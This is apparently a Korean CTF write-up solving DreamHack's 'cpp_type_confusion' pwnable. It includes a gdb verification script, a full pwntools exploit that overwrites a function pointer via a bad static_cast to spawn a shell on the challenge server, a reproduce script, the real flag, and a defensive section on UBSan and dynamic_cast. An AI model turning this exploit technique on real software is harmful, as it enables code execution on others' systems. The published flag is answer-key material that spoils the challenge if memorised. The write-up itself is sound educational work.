์ต์Šค๊ฐ€ ์•ˆ ๋จน์—ˆ์„ ๋•Œ ์ด ์ฆ์ƒ์ด ๋‚˜์˜ค๋ฉด "์ฃผ์†Œ๊ฐ€ ํ‹€๋ ธ๋‚˜"๋ถ€ํ„ฐ ์˜์‹ฌํ•˜๊ธฐ ์‰ฌ์šด๋ฐ, ์‹ค์ œ ์›์ธ์€ ํ•œ์ฐธ ์•ž ๋‹จ๊ณ„์—์„œ ์ž…๋ ฅ ์ŠคํŠธ๋ฆผ์ด ์ฃฝ์€ ๊ฒƒ์ด๋‹ค. ํŽ˜์ด๋กœ๋“œ์— ๊ณต๋ฐฑ ๋ฐ”์ดํŠธ๊ฐ€ ์„ž์˜€๋Š”์ง€๋ฅผ ๋จผ์ € ๋ด์•ผ ํ•œ๋‹ค. ์ตœ์ข… solve.py ์— assert ๋ฅผ ํ•˜๋‚˜ ๋ฐ•์•„ ๋‘” ์ด์œ ๋‹ค.

assert not any(c in b" \t\n\v\f\r" for c in payload), "cin >> ๊ฐ€ ๋Š๊ธธ ๋ฐ”์ดํŠธ๊ฐ€ ์„ž์˜€๋‹ค"
โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 4 โ€” ์ฒซ flag ์ œ์ถœ์ด ์˜ค๋‹ต์œผ๋กœ ๋‚˜์™”๋‹ค

flag ๋ฅผ ๋”ฐ์„œ ์ œ์ถœํ–ˆ๋”๋‹ˆ "์˜ค๋‹ต"์ด ๋–ด๋‹ค. ๊ฐ’์€ ๋ฐฉ๊ธˆ ์„œ๋ฒ„์—์„œ ์ง์ ‘ ๋ฝ‘์€ ๊ฒƒ์ด๋ผ ํ‹€๋ฆด ์ˆ˜๊ฐ€ ์—†๋Š”๋ฐ.

์ œ์ถœํ•˜๋‹ˆ "์ •๋‹ต"์œผ๋กœ ์ฒ˜๋ฆฌ๋๊ณ  ํฌ๋ ˆ๋”ง๋„ ํ™˜๊ธ‰๋๋‹ค.

๊ฐ’์ด ํ™•์‹คํ•œ๋ฐ ์˜ค๋‹ต์ด ๋œจ๋ฉด, ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋œฏ์–ด๊ณ ์น˜๊ธฐ ์ „์— ํ•œ ๋ฒˆ ๋” ๋ˆŒ๋Ÿฌ ๋ณด๋Š” ๊ฒŒ ๋จผ์ €๋‹ค.


๐Ÿงช ๋Ÿฐํƒ€์ž„ ํ™•์ธ โ€” ์ •๋ง ๊ทธ ์นธ์ด ๋ฎ์ด๋Š”๊ฐ€

์ •์ ์œผ๋กœ๋Š” ๋‹ค ๋งž์ท„๋‹ค. ์ด์ œ ์‹คํ–‰ ์ค‘์—๋„ ๊ฐ™์€์ง€ ๋ณธ๋‹ค. ๋‘ ์ง€์ ์— ๋ธŒ๋ ˆ์ดํฌํฌ์ธํŠธ๋ฅผ ๊ฑด๋‹ค โ€” strncpy ํ˜ธ์ถœ ์ง์ „๊ณผ Mango::yum() ์˜ call rax.

# cpp_type_confusion โ€” ํƒ€์ž… ์ปจํ“จ์ „์ด ์‹ค์ œ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ผ์–ด๋‚˜๋Š”์ง€ ๋Ÿฐํƒ€์ž„์œผ๋กœ ํ™•์ธ
#   gdb -q -batch -x verify.gdb ./cpp_type_confusion
set pagination off
set confirm off
 
# main: call strncpy@plt  (mixer->description ์— 8๋ฐ”์ดํŠธ ๋ณต์‚ฌ)
break *0x40127f
# Mango::yum: call rax    (description() ํ˜ธ์ถœ)
break *0x4015cc
 
run < in.bin
 
printf "\n=== [1] strncpy ์ง์ „ ===\n"
printf "dest(rdi) = %p   n(rdx) = %d\n", $rdi, $rdx
printf "Mango ๊ฐ์ฒด     = %p\n", $rdi - 8
printf "  +0 vptr      = %p\n", *(void **)($rdi - 8)
printf "  +8 ๊ฐ’        = %p  <- ์•„์ง Mango ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ\n", *(void **)$rdi
info symbol *(void **)$rdi
printf "src(rsi) 8๋ฐ”์ดํŠธ: "
x/8xb $rsi
 
continue
 
printf "\n=== [2] Mango::yum() ์˜ call rax ===\n"
printf "rax = %p\n", $rax
info symbol $rax
printf "this(= ์•„๊นŒ ๊ทธ Mango ๊ฐ์ฒด) = %p\n", *(void **)($rbp - 8)
 
kill
quit

์ž…๋ ฅ์€ ํŒŒ์ผ๋กœ ๋ฏธ๋ฆฌ ๋งŒ๋“ค์–ด ๋‘”๋‹ค.

printf '1\n2\n3\n\xa6\x0f\x40\n4\n2\n' > in.bin
gdb -q -batch -x verify.gdb ./cpp_type_confusion 2>&1 | grep -vE "^(I love Applemango|[1-5]\. |\[\*\] Select)"

๋ฉ”๋‰ด๊ฐ€ ๋งค ๋ฃจํ”„ ๋‹ค์‹œ ์ฐํ˜€ ํ™”๋ฉด์„ ๋ฎ์œผ๋ฏ€๋กœ ๊ทธ ์ค„๋งŒ ๊ฑธ๋Ÿฌ๋ƒˆ๋‹ค.

gdb -batch ๋Ÿฐํƒ€์ž„ ํ™•์ธ โ€” strncpy ๋Œ€์ƒ์ด ๊ฐ์ฒด+8 ์ด๊ณ  ๊ทธ ์ž๋ฆฌ์— ์›๋ž˜ mangohi ๊ฐ€ ๋“ค์–ด ์žˆ์—ˆ์œผ๋ฉฐ ํ˜ธ์ถœ ์‹œ์  rax ๊ฐ€ getshell ๋กœ ๋ฐ”๋€Œ์–ด ์žˆ๋‹ค
gdb -batch ๋Ÿฐํƒ€์ž„ ํ™•์ธ โ€” strncpy ๋Œ€์ƒ์ด ๊ฐ์ฒด+8 ์ด๊ณ  ๊ทธ ์ž๋ฆฌ์— ์›๋ž˜ mangohi ๊ฐ€ ๋“ค์–ด ์žˆ์—ˆ์œผ๋ฉฐ ํ˜ธ์ถœ ์‹œ์  rax ๊ฐ€ getshell ๋กœ ๋ฐ”๋€Œ์–ด ์žˆ๋‹ค

์ •์ ์œผ๋กœ ์„ธ์šด ์ฃผ์žฅ์ด ์ „๋ถ€ ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค.

ํ™•์ธํ•œ ๊ฒƒ๊ฐ’
Mango ๊ฐ์ฒด ์ฃผ์†Œ0x615340 (ํž™)
+0 vptr0x401868 โ€” ์•ž์„œ ๋ณธ Mango vtable ์˜ ํ•จ์ˆ˜ ์Šฌ๋กฏ
+8 ๋ฎ๊ธฐ ์ „0x401102 = mangohi()
strncpy dest / n0x615348(= ๊ฐ์ฒด+8) / 8
์†Œ์Šค 8๋ฐ”์ดํŠธa6 0f 40 00 00 00 00 00
call rax ์‹œ์  rax0x400fa6 = getshell()

์†Œ์Šค 8๋ฐ”์ดํŠธ๊ฐ€ ์ด๋ฏธ a6 0f 40 ๋’ค๋กœ 0 ์ธ ๊ฒŒ ๋ณด์ธ๋‹ค. std::string ์ด ์งง์€ ๋ฌธ์ž์—ด์„ ์ž๊ธฐ ๋‚ด๋ถ€ ๋ฒ„ํผ์— ๋‹ด์œผ๋ฉด์„œ ๋’ค๋ฅผ ๋น„์›Œ ๋‘” ๋•์ธ๋ฐ, ์–ด์ฐจํ”ผ strncpy ๊ฐ€ 3๋ฐ”์ดํŠธ๋งŒ ๋ณต์‚ฌํ•˜๊ณ  ๋‚˜๋จธ์ง€๋ฅผ 0 ์œผ๋กœ ์ฑ„์šฐ๋‹ˆ ๊ฒฐ๊ณผ๋Š” ๊ฐ™๋‹ค.

๊ทธ๋ฆฌ๊ณ  Mango::yum() ์— ๋“ค์–ด์™€ call rax ๋ฅผ ์ฝ”์•ž์— ๋‘” ์‹œ์ ์˜ rax ๊ฐ€ getshell() ์ด๋‹ค. ๋‘ ๋ฒˆ์งธ ๋ธŒ๋ ˆ์ดํฌํฌ์ธํŠธ์—์„œ ์ฐ์€ this ๋„ ์•„๊นŒ ๊ทธ ๊ฐ์ฒด 0x615340 ๊ทธ๋Œ€๋กœ๋‹ค. ๊ฐ™์€ ๊ฐ์ฒด, ๋ฐ”๋€ ํ•œ ์นธ.



๐Ÿš€ Full Exploit

๋กœ์ปฌ๊ณผ ์›๊ฒฉ์„ ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋Œ๋ฆฐ๋‹ค.

#!/usr/bin/env python3
# cpp_type_confusion (DreamHack, Bronze 2 / pwnable)
#
# 3๋ฒˆ ๋ฉ”๋‰ด์˜ static_cast<Apple*>(mango) ๊ฐ€ Mango ๊ฐ์ฒด๋ฅผ Apple ๋กœ ์ฐฉ๊ฐ์‹œํ‚จ๋‹ค.
#   Mango::description -> void (*)(void)   ํ•จ์ˆ˜ ํฌ์ธํ„ฐ  (๊ฐ์ฒด ์˜คํ”„์…‹ +8)
#   Apple::description -> char[8]          ๋ฌธ์ž ๋ฐฐ์—ด    (๊ฐ์ฒด ์˜คํ”„์…‹ +8)
# ๊ฐ™์€ ์ž๋ฆฌ์— strncpy(mixer->description, name, 8) ์„ ํ•˜๋ฏ€๋กœ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ๋ฎ์ธ๋‹ค.
# 4-2 (mango->yum()) ๋Š” Mango::yum() ์ด๋ผ description() ์„ ๊ทธ๋Œ€๋กœ ํ˜ธ์ถœํ•œ๋‹ค.
# PIE ๊ฐ€ ๊บผ์ ธ ์žˆ์–ด getshell() ์ฃผ์†Œ๋Š” 0x400fa6 ๋กœ ๊ณ ์ •.
#
#   python3 solve.py                                # ๋กœ์ปฌ ๊ฒ€์ฆ
#   python3 solve.py host3.dreamhack.games 12345    # ์›๊ฒฉ
import sys
 
from pwn import ELF, context, p64, process, remote
 
context.log_level = "info"
context.arch = "amd64"
 
HERE = __file__.rsplit("/", 1)[0]
BIN = HERE + "/extracted/cpp_type_confusion"
elf = ELF(BIN, checksec=False)
getshell = elf.symbols["_Z8getshellv"]  # 0x400fa6
print(f"[*] getshell() = {getshell:#x}")
 
if len(sys.argv) >= 3:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    # flag ํŒŒ์ผ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ ์˜†์— ์žˆ์œผ๋ฏ€๋กœ cwd ๋ฅผ ๋งž์ถฐ ์ค€๋‹ค(์›๊ฒฉ ์„œ๋ฒ„์™€ ๋™์ผํ•œ ๋ฐฐ์น˜).
    p = process(BIN.encode(), cwd=HERE + "/extracted")
 
 
def menu(choice):
    p.sendlineafter(b"[*] Select : ", str(choice).encode())
 
 
menu(1)  # Apple ์ƒ์„ฑ -> appleflag = 1   (3๋ฒˆ ๋ฉ”๋‰ด์˜ ๊ด€๋ฌธ)
menu(2)  # Mango ์ƒ์„ฑ -> mangoflag = 1, description = mangohi
 
# getshell ์ฃผ์†Œ 0x400fa6 -> ๋ฆฌํ‹€์—”๋””์•ˆ 3๋ฐ”์ดํŠธ b"\xa6\x0f\x40".
# strncpy ๋Š” ์†Œ์Šค๊ฐ€ n ๋ณด๋‹ค ์งง์œผ๋ฉด ๋‚จ์€ ์ž๋ฆฌ๋ฅผ 0 ์œผ๋กœ ์ฑ„์šฐ๋ฏ€๋กœ
# ํฌ์ธํ„ฐ 8๋ฐ”์ดํŠธ๊ฐ€ ์ •ํ™•ํžˆ 0x0000000000400fa6 ์ด ๋œ๋‹ค.
# std::cin >> ๋Š” ๊ณต๋ฐฑ์—์„œ ๋Š๊ธฐ๋Š”๋ฐ 0xa6/0x0f/0x40 ์ค‘ ๊ณต๋ฐฑ๋ฌธ์ž(0x09~0x0d, 0x20)๋Š” ์—†๋‹ค.
payload = p64(getshell).rstrip(b"\x00")
assert not any(c in b" \t\n\v\f\r" for c in payload), "cin >> ๊ฐ€ ๋Š๊ธธ ๋ฐ”์ดํŠธ๊ฐ€ ์„ž์˜€๋‹ค"
print(f"[*] payload = {payload!r}")
 
menu(3)  # Mix -> strncpy ๋กœ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ๋ฎ์–ด์“ฐ๊ธฐ
p.sendafter(b"Applemango name: ", payload + b"\n")
 
menu(4)  # Eat
p.sendlineafter(b"[*] Select : ", b"2")  # 2. Mango -> Mango::yum() -> description()
 
p.sendline(b"id; cat flag")
out = p.recvrepeat(3).decode(errors="replace")
print(out.strip())
p.close()

์ฃผ์†Œ๋ฅผ ํ•˜๋“œ์ฝ”๋”ฉํ•˜์ง€ ์•Š๊ณ  elf.symbols ๋กœ ๋ฝ‘๋Š”๋‹ค. ์‹ฌ๋ณผ์ด ๋‚จ์•„ ์žˆ์œผ๋‹ˆ ๊ทธ๊ฒŒ ์ •ํ™•ํ•˜๊ณ , ๋‹ค๋ฅธ ํ™˜๊ฒฝ์—์„œ ๊ฐ™์€ ์†Œ์Šค๋ฅผ ๋‹ค์‹œ ๋นŒ๋“œํ–ˆ๋”๋ผ๋„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์•Œ์•„์„œ ๋”ฐ๋ผ๊ฐ„๋‹ค.

๋จผ์ € ๋กœ์ปฌ. ๋ฐ”์ด๋„ˆ๋ฆฌ ์˜†์— ๋”๋ฏธ flag ํŒŒ์ผ์„ ํ•˜๋‚˜ ๋งŒ๋“ค์–ด ๋‘๊ณ  ๋Œ๋ฆฐ๋‹ค.

printf 'DH{LOCAL_DUMMY_FLAG_1234}\n' > extracted/flag
python3 solve.py
๋กœ์ปฌ์—์„œ solve.py ๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” payload ์„ธ ๋ฐ”์ดํŠธ๊ฐ€ ์ฐํžˆ๊ณ  id ์™€ ๋”๋ฏธ flag ๊ฐ€ ์…ธ์—์„œ ๋˜๋Œ์•„์˜จ๋‹ค
๋กœ์ปฌ์—์„œ solve.py ๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” payload ์„ธ ๋ฐ”์ดํŠธ๊ฐ€ ์ฐํžˆ๊ณ  id ์™€ ๋”๋ฏธ flag ๊ฐ€ ์…ธ์—์„œ ๋˜๋Œ์•„์˜จ๋‹ค

uid=1000(jinho) ๊ฐ€ ์ฐํ˜”๋‹ค. ๋‚ด ๊ณ„์ •์˜ ์…ธ์ด ๋–ด๋‹ค๋Š” ๋œป์ด๊ณ , ๋”๋ฏธ flag ๋„ ์ฝํžŒ๋‹ค. ์—ฌ๊ธฐ ๋‚˜์˜ค๋Š” DH{LOCAL_DUMMY_FLAG_1234} ๋Š” ๊ฒ€์ฆ์šฉ์œผ๋กœ ๋‚ด๊ฐ€ ๋งŒ๋“  ํŒŒ์ผ์ด์ง€ ๋ฌธ์ œ์˜ ๋‹ต์ด ์•„๋‹ˆ๋‹ค.

์ด์ œ ๋ผ์ด๋ธŒ ์„œ๋ฒ„.

python3 solve.py host3.dreamhack.games 18869
์›๊ฒฉ ์„œ๋ฒ„์—์„œ solve.py ๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” uid ๊ฐ€ cpp_type_confusion ์œผ๋กœ ๋ฐ”๋€Œ๊ณ  ์ง„์งœ flag ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค
์›๊ฒฉ ์„œ๋ฒ„์—์„œ solve.py ๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” uid ๊ฐ€ cpp_type_confusion ์œผ๋กœ ๋ฐ”๋€Œ๊ณ  ์ง„์งœ flag ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค

uid=1000(cpp_type_confusion) โ€” ๋ฌธ์ œ ์„œ๋ฒ„์˜ ์„œ๋น„์Šค ๊ณ„์ •์ด๋‹ค. ํ•œ ๋ฒˆ์— ๋ถ™์—ˆ๋‹ค.

DH{4a969c04516654df9984f8aab2db7309}

ํ•œ ๋ฐฉ ์žฌํ˜„

๋‚˜์ค‘์— ๋ฐฑ์—…๋งŒ ๊ฐ€์ง€๊ณ  ๋‹ค์‹œ ๋Œ๋ฆด ์ˆ˜ ์žˆ๊ฒŒ reproduce.sh ๋ฅผ ๋‚จ๊ฒผ๋‹ค. ์ธ์ž๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธŒ์—์„œ ์ง„์งœ flag ๋ฅผ, ์•ˆ ์ฃผ๋ฉด ๋”๋ฏธ๋กœ ์ต์Šค ๋™์ž‘๋งŒ ๊ฒ€์ฆํ•œ๋‹ค. ๋”๋ฏธ flag ๋ฅผ ์ง„์งœ์ธ ๊ฒƒ์ฒ˜๋Ÿผ PASS ์‹œํ‚ค์ง€ ์•Š๋Š”๋‹ค โ€” ๊ทธ๋Ÿฌ๋ฉด ๋ฐฑ์—… ์ „์ฒด๋ฅผ ๋ชป ๋ฏฟ๊ฒŒ ๋œ๋‹ค.

#!/usr/bin/env bash
# cpp_type_confusion โ€” ํ•œ ๋ฐฉ ์žฌํ˜„.
#
#   ./reproduce.sh                              ๋กœ์ปฌ ๊ฒ€์ฆ (๋”๋ฏธ flag ๋กœ ์ต์Šค ๋™์ž‘๋งŒ ํ™•์ธ)
#   ./reproduce.sh host3.dreamhack.games 12345  ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ ์ง„์งœ flag ํšŒ์ˆ˜
#
# ์ด ๋ฌธ์ œ์˜ ์ง„์งœ flag ๋Š” ์„œ๋ฒ„์—๋งŒ ์žˆ๋‹ค. ์ธ์ž ์—†์ด ๋Œ๋ฆฌ๋ฉด ๋”๋ฏธ flag ๋กœ
# "์ต์Šค๊ฐ€ ์…ธ์„ ์žก๋Š”์ง€"๋งŒ ๊ฒ€์ฆํ•˜๊ณ , ์ง„์งœ flag ๋ฅผ ๋”ด ๊ฒƒ์ฒ˜๋Ÿผ PASS ํ•˜์ง€ ์•Š๋Š”๋‹ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
chmod +x extracted/cpp_type_confusion 2>/dev/null || true   # ๋ฐฐํฌ zip ์€ ์‹คํ–‰ ๊ถŒํ•œ์„ ์•ˆ ์‚ด๋ฆฐ๋‹ค
 
if [ $# -ge 2 ]; then
  EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ œ.json'))['flag'])" 2>/dev/null || echo '')
  OUT=$(timeout 120 python3 solve.py "$1" "$2" 2>&1) || true
  echo "$OUT" | tail -6
  FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
  if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
    echo; echo "โœ… PASS  $FLAG"; exit 0
  fi
  echo; echo "โŒ FAIL (์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}' / ๊ธฐ๋Œ€: '${EXPECT:-๋ฏธ์ง€์ •}')"; exit 1
fi
 
DUMMY='DH{LOCAL_DUMMY_FLAG_1234}'
printf '%s\n' "$DUMMY" > extracted/flag
OUT=$(timeout 60 python3 solve.py 2>&1) || true
echo "$OUT" | tail -6
if printf '%s' "$OUT" | grep -qa "$DUMMY"; then
  echo; echo "โœ… LOCAL PASS โ€” ์ต์Šค๊ฐ€ ์…ธ์„ ์žก๊ณ  ๋”๋ฏธ flag ๋ฅผ ์ฝ์—ˆ๋‹ค."
  echo "   ์ง„์งœ flag ๋Š” ๋ผ์ด๋ธŒ ์„œ๋ฒ„๊ฐ€ ํ•„์š”ํ•˜๋‹ค: ./reproduce.sh <host> <port>"; exit 0
fi
echo; echo "โŒ LOCAL FAIL โ€” ์…ธ์„ ๋ชป ์žก์•˜๋‹ค."; exit 1
./reproduce.sh host3.dreamhack.games 18869
reproduce.sh ๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์ธ์ž๋กœ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ์ต์Šค๊ฐ€ ๋๊นŒ์ง€ ๋Œ๊ณ  ๋งˆ์ง€๋ง‰์— PASS ์™€ flag ๊ฐ€ ์ฐํžŒ๋‹ค
reproduce.sh ๋ฅผ ๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์ธ์ž๋กœ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ์ต์Šค๊ฐ€ ๋๊นŒ์ง€ ๋Œ๊ณ  ๋งˆ์ง€๋ง‰์— PASS ์™€ flag ๊ฐ€ ์ฐํžŒ๋‹ค


๐Ÿ›ก๏ธ ์ปดํŒŒ์ผ๋Ÿฌ๋Š” ์ด๊ฑธ ์žก์„ ์ˆ˜ ์žˆ์—ˆ๋‚˜

ํ’€๊ณ  ๋‚˜์„œ ๊ถ๊ธˆํ–ˆ๋‹ค. ์†Œ์Šค๊ฐ€ ํ†ต์งธ๋กœ ์žˆ๋Š”๋ฐ, ๋นŒ๋“œํ•  ๋•Œ ์ด ์บ์ŠคํŠธ๋ฅผ ๊ฑธ๋Ÿฌ ๋‚ผ ๋ฐฉ๋ฒ•์ด ์ •๋ง ์—†์—ˆ์„๊นŒ.

์žˆ๋‹ค. UBSan(UndefinedBehaviorSanitizer)์˜ vptr ๊ฒ€์‚ฌ๊ฐ€ ์ •ํ™•ํžˆ ์ด๋Ÿฐ ๋‹ค์šด์บ์ŠคํŠธ๋ฅผ ์žก๋Š”๋‹ค. -fsanitize=undefined ๋กœ ๊ฐ™์€ ์†Œ์Šค๋ฅผ ๋‹ค์‹œ ๋นŒ๋“œํ•˜๊ณ , ๋ฌธ์ œ์˜ 3๋ฒˆ ๋ฉ”๋‰ด๊นŒ์ง€๋งŒ ํƒœ์›Œ ๋ณด๋ฉด ๋œ๋‹ค.

printf '1\n2\n3\nAAAA\n5\n' > ubsan_in.txt
g++ -fsanitize=undefined -o ubsan_build extracted/cpp_type_confusion.cpp && ./ubsan_build < ubsan_in.txt 2>&1 | grep -vE "^[1-5]\. |^I love"
UBSan ์œผ๋กœ ๋นŒ๋“œํ•ด ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ โ€” ์†Œ์Šค 114ํ–‰ static_cast ์ž๋ฆฌ์—์„œ Apple ์ด ์•„๋‹Œ ๊ฐ์ฒด๋ฅผ ๋‹ค์šด์บ์ŠคํŠธํ–ˆ๋‹ค๊ณ  ์žก์•„๋‚ด๊ณ  vptr ์ด Mango ๊ฒƒ์ด๋ผ๊ณ  ์•Œ๋ ค ์ค€๋‹ค
UBSan ์œผ๋กœ ๋นŒ๋“œํ•ด ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ โ€” ์†Œ์Šค 114ํ–‰ static_cast ์ž๋ฆฌ์—์„œ Apple ์ด ์•„๋‹Œ ๊ฐ์ฒด๋ฅผ ๋‹ค์šด์บ์ŠคํŠธํ–ˆ๋‹ค๊ณ  ์žก์•„๋‚ด๊ณ  vptr ์ด Mango ๊ฒƒ์ด๋ผ๊ณ  ์•Œ๋ ค ์ค€๋‹ค
extracted/cpp_type_confusion.cpp:114:29: runtime error: downcast of address 0x5c470d804340 which does not point to an object of type 'Apple'
0x5c470d804340: note: object is of type 'Mango'

์ค„ ๋ฒˆํ˜ธ๊นŒ์ง€ ์ •ํ™•ํ•˜๋‹ค. 114ํ–‰ 29์—ด, ๋ฐ”๋กœ ๊ทธ static_cast ๋‹ค. ๊ฐ์ฒด์˜ ์‹ค์ œ ํƒ€์ž…์ด Mango ๋ผ๋Š” ๊ฒƒ๋„, ํ—ฅ์‚ฌ ๋คํ”„์—์„œ ์–ด๋А 8๋ฐ”์ดํŠธ๊ฐ€ vptr ์ธ์ง€๋„ ํ‘œ์‹œํ•ด ์ค€๋‹ค.

์—ฌ๊ธฐ์„œ ํ”„๋กœ๊ทธ๋žจ์ด ์ฃฝ์ง€๋Š” ์•Š๋Š”๋‹ค๋Š” ์ ์ด ์˜คํžˆ๋ ค ์ค‘์š”ํ•˜๋‹ค. UBSan ์€ ๊ธฐ๋ณธ ์„ค์ •์—์„œ ๊ฒฝ๊ณ ๋งŒ ์ฐ๊ณ  ๊ณ„์† ์ง„ํ–‰ํ•˜๋ฏ€๋กœ ๋‹ค์Œ ์ค„ strncpy ๋Š” ๊ทธ๋Œ€๋กœ ์‹คํ–‰๋œ๋‹ค. ์ฆ‰ ์ด ์ฝ”๋“œ๋Š” UBSan ์„ ์ผœ๊ณ  ํ•œ ๋ฒˆ๋งŒ ๋Œ๋ ค ๋ดค์–ด๋„ ๋ฐฐํฌ ์ „์— ๊ฑธ๋ ธ์„ ๊ฒƒ์ด๋‹ค. ํฌ๋ž˜์‹œ๊ฐ€ ๋‚˜์ง€ ์•Š์•„ ํ…Œ์ŠคํŠธ๋ฅผ ํ†ต๊ณผํ–ˆ๋˜ ๊ฒƒ๋ฟ์ด๋‹ค.

์ •๋ฆฌํ•˜๋ฉด ์ด ๋ฌธ์ œ๋Š” "ํƒ์ง€๊ฐ€ ์–ด๋ ค์šด ์ทจ์•ฝ์ "์ด ์•„๋‹ˆ๋‹ค. ํ™•์ธํ•˜๋Š” ์ฝ”๋“œ(dynamic_cast)๋ฅผ ์•ˆ ์ผ๊ณ , ํ™•์ธํ•ด ์ฃผ๋Š” ๋„๊ตฌ(UBSan)๋ฅผ ์•ˆ ์ผฐ์„ ๋ฟ์ด๋‹ค.



๐Ÿ“ ๊ฒฐ๋ก 

ํƒ€์ž… ์ปจํ“จ์ „์€ "์–ผ๋งˆ๋‚˜ ์ผ๋‚˜"๊ฐ€ ์•„๋‹ˆ๋ผ "๋ฌด์—‡์—๋‹ค ์ผ๋‚˜"์˜ ๋ฒ„๊ทธ๋‹ค.

์ด ๋ฌธ์ œ์—์„œ strncpy ๋Š” ์ž๊ธฐ ๋ชซ์ธ 8๋ฐ”์ดํŠธ๋ฅผ ์ •ํ™•ํžˆ 8๋ฐ”์ดํŠธ๋งŒ ์ผ๋‹ค. ๋„˜์นœ ๊ฒƒ๋„, ํ•ด์ œ๋œ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋‹ค์‹œ ๋งŒ์ง„ ๊ฒƒ๋„ ์—†๋‹ค. ๊ทธ๋Ÿฐ๋ฐ๋„ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ ๋ฐ”๋€Œ์—ˆ๋‹ค. ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ์— ๊ธฐ๋Œ€๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ• โ€” canary, NX, RELRO โ€” ์ด ์…‹ ๋‹ค ์ด ๊ณต๊ฒฉ์— ์•„๋ฌด ์ผ๋„ ํ•˜์ง€ ์•Š๋Š” ์ด์œ ๋‹ค. ์…‹ ๋‹ค ๋‹ค๋ฅธ ์ข…๋ฅ˜์˜ ์‚ฌ๊ณ ๋ฅผ ๋ง‰๋Š” ์žฅ์น˜๋‹ค.

static_cast ๋Š” ๋‹ค์šด์บ์ŠคํŠธ์—์„œ ์•„๋ฌด๊ฒƒ๋„ ๋ณด์žฅํ•˜์ง€ ์•Š๋Š”๋‹ค.

๊ธฐ๊ณ„์–ด๋กœ ๋ณด๋ฉด ์ •๋ง mov ๋‘ ์ค„์ด๋‹ค. ์ƒ์† ๊ด€๊ณ„๊ฐ€ ์„ฑ๋ฆฝํ•˜๋Š”์ง€๋งŒ ์ปดํŒŒ์ผ ์‹œ์ ์— ๋ณด๊ณ , ๊ทธ ๊ฐ์ฒด๊ฐ€ ์‹ค์ œ๋กœ ๊ทธ ํƒ€์ž…์ธ์ง€๋Š” ํ™•์ธํ•˜์ง€ ์•Š๋Š”๋‹ค. ํ™•์ธํ•˜๋Š” ๊ฑด dynamic_cast ์ด๊ณ , ์ด ๋ฌธ์ œ๋„ ๊ทธ๊ฑธ ์ผ๋‹ค๋ฉด nullptr ์ด ๋Œ์•„์™€ ์„ฑ๋ฆฝํ•˜์ง€ ์•Š์•˜๋‹ค. ๋‹ค์šด์บ์ŠคํŠธ๊ฐ€ ๊ผญ ํ•„์š”ํ•˜๋ฉด dynamic_cast ๋ฅผ ์“ฐ๊ฑฐ๋‚˜, ์• ์ดˆ์— ํƒ€์ž… ํƒœ๊ทธ๋ฅผ ๊ฐ์ฒด์— ๋“ค๊ณ  ๋‹ค๋‹ˆ๋ฉด์„œ ๋ถ„๊ธฐํ•˜๋Š” ํŽธ์ด ๋‚ซ๋‹ค.

๊ฐ™์€ ์ด๋ฆ„์˜ ๋ฉค๋ฒ„๊ฐ€ ํด๋ž˜์Šค๋งˆ๋‹ค ๋‹ค๋ฅธ ํƒ€์ž…์ธ ์„ค๊ณ„๋Š” ๊ทธ ์ž์ฒด๋กœ ์œ„ํ—˜ ์‹ ํ˜ธ๋‹ค.

grep ํ•œ ๋ฒˆ์— char description[8] ๊ณผ void (*description)(void) ๊ฐ€ ๋‚˜๋ž€ํžˆ ๋‚˜์˜จ ์ˆœ๊ฐ„, ์ด ๋ฌธ์ œ์˜ ์ ˆ๋ฐ˜์€ ๋๋‚˜ ์žˆ์—ˆ๋‹ค. ์ƒ์† ๊ณ„์ธต์—์„œ ๊ฐ™์€ ์˜คํ”„์…‹์— ์„œ๋กœ ๋‹ค๋ฅธ ์˜๋ฏธ์˜ ๋ฐ์ดํ„ฐ๊ฐ€ ๋†“์ด๋ฉด, ์บ์ŠคํŠธ ์‹ค์ˆ˜ ํ•˜๋‚˜๊ฐ€ ๊ณง๋ฐ”๋กœ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์ด ๋œ๋‹ค. ํŠนํžˆ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ๋ฉค๋ฒ„๋Š” ๊ทธ ์ž๋ฆฌ๋ฅผ ๋ฎ๋Š” ์ˆœ๊ฐ„ ๊ณง ์ œ์–ด ํ๋ฆ„์ด๋ผ, ๋‹ค๋ฅธ ์–ด๋–ค ๋ฉค๋ฒ„๋ณด๋‹ค ์œ„ํ—˜ํ•˜๋‹ค.

strncpy ๋Š” "์•ˆ์ „ํ•œ strcpy" ๊ฐ€ ์•„๋‹ˆ๋‹ค.

